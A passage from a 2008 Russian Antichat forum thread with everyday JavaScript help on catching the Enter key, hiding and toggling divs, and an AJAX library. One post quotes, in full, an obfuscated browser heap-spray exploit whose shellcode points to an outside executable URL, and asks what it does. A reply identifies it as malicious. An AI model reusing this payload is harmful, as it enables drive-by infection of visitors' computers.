Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

12.05.2008, 12:49
|
|
Познавший АНТИЧАТ
Регистрация: 16.04.2006
Сообщений: 1,488
Провел на форуме: 2209675
Репутация:
537
|
|
как повесить событие на нажатие enter в простом инпуте?
попробовал такой код:
PHP код:
var flg = (document.all) ? 0 : 1;
if(flg){
document.captureEvents(Event.KEYDOWN);
}
document.onkeydown = pressed;
function pressed(e){
if(flg){
if(e.keyCode == 13) add();
} else {
if(event.keyCode == 13) add();
}
return false;
}
в опере всё работает как надо, а в ФФ жутко тормозит ввода текста в любые инпуты.
Инпут не привязан ни к какой форме, поэтому при нажатии ентер в нём сабмит не работает.
хотелось бы отследить ентер, нажатый в конкретном инпуте - делаю чат.
|
|
|

12.05.2008, 12:58
|
|
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме: 16641028
Репутация:
2371
|
|
В начало функции:
PHP код:
var e = e ? e : window.event;
|
|
|

12.05.2008, 13:03
|
|
Reservists Of Antichat - Level 6
Регистрация: 04.02.2007
Сообщений: 1,152
Провел на форуме: 3008839
Репутация:
1502
|
|
Сообщение от Дикс
как повесить событие на нажатие enter в простом инпуте?
попробовал такой код:
PHP код:
var flg = (document.all) ? 0 : 1;
if(flg){
document.captureEvents(Event.KEYDOWN);
}
document.onkeydown = pressed;
function pressed(e){
if(flg){
if(e.keyCode == 13) add();
} else {
if(event.keyCode == 13) add();
}
return false;
}
в опере всё работает как надо, а в ФФ жутко тормозит ввода текста в любые инпуты.
Инпут не привязан ни к какой форме, поэтому при нажатии ентер в нём сабмит не работает.
хотелось бы отследить ентер, нажатый в конкретном инпуте - делаю чат.
сделай onkeypress...
и посмотри на скрипт изменения статуса в контакте 
__________________
Bedankt euch dafür bei euch selbst.
H_2(S^3/((z1, z2)~(exp(2pi*i/p)z1, exp(2pi*q*i/p)z2)))=Z/pZ
|
|
|

12.05.2008, 13:57
|
|
Познавший АНТИЧАТ
Регистрация: 16.04.2006
Сообщений: 1,488
Провел на форуме: 2209675
Репутация:
537
|
|
о, я-я. подсмотрел как сделано вконтакте - теперь и у меня всё безглючно и красиво, спасибо большое!
|
|
|

12.05.2008, 23:56
|
|
Познающий
Регистрация: 20.02.2008
Сообщений: 82
Провел на форуме: 107625
Репутация:
2
|
|
Есть див: <div id="zloe">ля-ля</div>
Нужен скрипт, который бы скрыл этот див со всем его содержиммым ("ля-ля")
...
|
|
|

13.05.2008, 00:05
|
|
Участник форума
Регистрация: 01.02.2007
Сообщений: 286
Провел на форуме: 804931
Репутация:
526
|
|
Сообщение от Architek86
Есть див: <div id="zloe">ля-ля</div>
Нужен скрипт, который бы скрыл этот див со всем его содержиммым ("ля-ля")
...
document.getElementById('zloe').style.visibility = 'hidden'; - скрыть с резервированием места (т.е. дива видно не будет, но место останеся пустым);
document.getElementById('zloe').style.display = 'none' - скрыть без резервирования места.
|
|
|

13.05.2008, 18:04
|
|
Познающий
Регистрация: 12.12.2006
Сообщений: 89
Провел на форуме: 500895
Репутация:
60
|
|
Сообщение от Architek86
Есть див: <div id="zloe">ля-ля</div>
Нужен скрипт, который бы скрыл этот див со всем его содержиммым ("ля-ля")
...
Вот готовая реализация:
Скрипт скрывающий/показывающий DIV по ID:
Код:
function showDiv(xx)
{
if(document.getElementById(xx).style.display=="none")
{document.getElementById(xx).style.display="block";}
else document.getElementById(xx).style.display="none";
}
Пример использования:
Код:
<span onclick="showDiv('manual')">Показать/Скрыть DIV</span>
Код:
<div id="manual" style="display:none;" width="*">ля-ля :) </div>
Последний раз редактировалось DCRM; 14.05.2008 в 00:20..
|
|
|

13.05.2008, 18:13
|
|
Познающий
Регистрация: 12.12.2006
Сообщений: 89
Провел на форуме: 500895
Репутация:
60
|
|
Сообщение от bomber
еще вопрос, как можно сделать "живой" поиск? такая тема есть на многих форумах, тоисть, вводишь данные в поле, и через паузу идет запрос в БД на соответсвие с уже введенными данными в поле, результат выводится без перезагрузки
мож где есть уже готовое решение? оч нада
Вот используй эту библиотеку, то что доктор прописал))):
JsHttpRequest
Вот краткий список наиболее интересных возможностей и преимуществ библиотеки.- Отличная кроссбраузерность (библиотека работает даже в IE 5.0 с отключенным ActiveX).
- Поддержка и "прозрачная" работа с любыми кодировками (в том числе русскоязычными).
- Загрузка файлов на сервер "методом AJAX".
- Полная совместимость с популярной JavaScript-библиотекой prototype.
- Полная поддержка отладочных возможностей и традиционных методов программирования на PHP.
- Обмен многомерными структурами между клиентом и сервером (ассоциативные массивы).
- Автоматический выбор подходящего метода загрузки данных (XMLHttpRequest, <SCRIPT>, <IFRAME>).
- Доступен интерфейс, совместимый с XMLHttpRequest.
|
|
|

13.05.2008, 19:25
|
|
Познающий
Регистрация: 10.03.2008
Сообщений: 81
Провел на форуме: 233979
Репутация:
1
|
|
Люди, что делает этот яваскрипт?
Код:
<script type="text/javascript">
cHylUUL = unescape("%u9090%u90"+"90%u0feb%u335b%u66c9%u80b9%u8001%uef33%ue243%uebfa%ue805%uffec%uffff%"+"u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6ee7%uef03%uefeb%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787%u6511%u07e1%uef1f%uefef%uaa66%ub9e7%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a"+"96%u0757%uef29%uefef%uaa66%uaffb%ud7"+"6f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66%u64cb%uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf%u8a97%uefef%u9a10%u64cf%ue3aa%uee85%u64b6%uf7ba%uaf07%uefef%"+"u85ef%ub7e8%uaaec%udccb%ubc34%u10bc%ucf9a%ubcbf%uaa64%u85f3%ub6ea%uba64%u07f"+"7%uefcc%uefef%uef85%u9a10%u64cf%ue7aa%ued85%u64b6%uf7ba%uff07%uefef%u85ef%u6410%uffaa%uee85%u64b6%uf7ba%uef07%uefef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10%u64ba%u6403%ue792%ub264%ub9e3%u9c64%u64d3%uf19b%uec97%ub91c%u9964%ueccf%udc1c%ua626%u42ae%u2cec%udcb9%ue019%uff51%u1dd5%ue79b%u212e%uece2%uaf1d%u1e04%u11d4%u9ab1%ub50a%u0464%ub564%ueccb%u8932%ue364%u64a4%uf3b5%u32ec%ueb64%uec64%u"+"b12a%u2db2%uefe7%u1b07%u1011%uba10%ua3bd%ua0a2%uefa1%u7468%u7074%u2F3A%u6D2F%u7079%u6F68%u6F74%u2E73%u796D%u6B6F%u6F68%u7473%u632E%u6D6F%u652F%u6578%u702E%u7068");
i4zsVXx = unescape('%u0800');
SzZHy = 0x08000800;
bs = i4zsVXx;
while (bs.length <= 0x400000) { bs += bs; }
var cs = new Array();
for (var id =0; id <36 ; id++)
{
cs[id] =
i4zsVXx.substring(0,0x100000 - cHylUUL.length) + cHylUUL +
i4zsVXx.substring(0,0x100000 - cHylUUL.length) + cHylUUL +
i4zsVXx.substring(0,0x100000 - cHylUUL.length) + cHylUUL +
i4zsVXx.substring(0,0x100000 - cHylUUL.length) + cHylUUL;
}
if (window.navigator.javaEnabled)
{
window.navigator = (SzZHy / 2);
try { java.lang.reflect.Runtime.newInstance(java.lang.Class.forName(java.lang.Runtime, 0)); }
catch(e){}
}
</script>
|
|
|

13.05.2008, 19:37
|
|
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
Провел на форуме: 3069349
Репутация:
808
|
|
Скрипт скрывающий/показывающий DIV по ID:
Код:
function showDiv(xx)
{
if(document.getElementById(xx).style.display=="non e")
{document.getElementById(xx).style.display="inline ";}
else document.getElementById(xx).style.display="none";
}
Пожалуйста, не приводите заведомо плохие примеры.
div - блочный элемент.
Люди, что делает этот яваскрипт?
Пытается запустить на исполнение вредоносный код.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|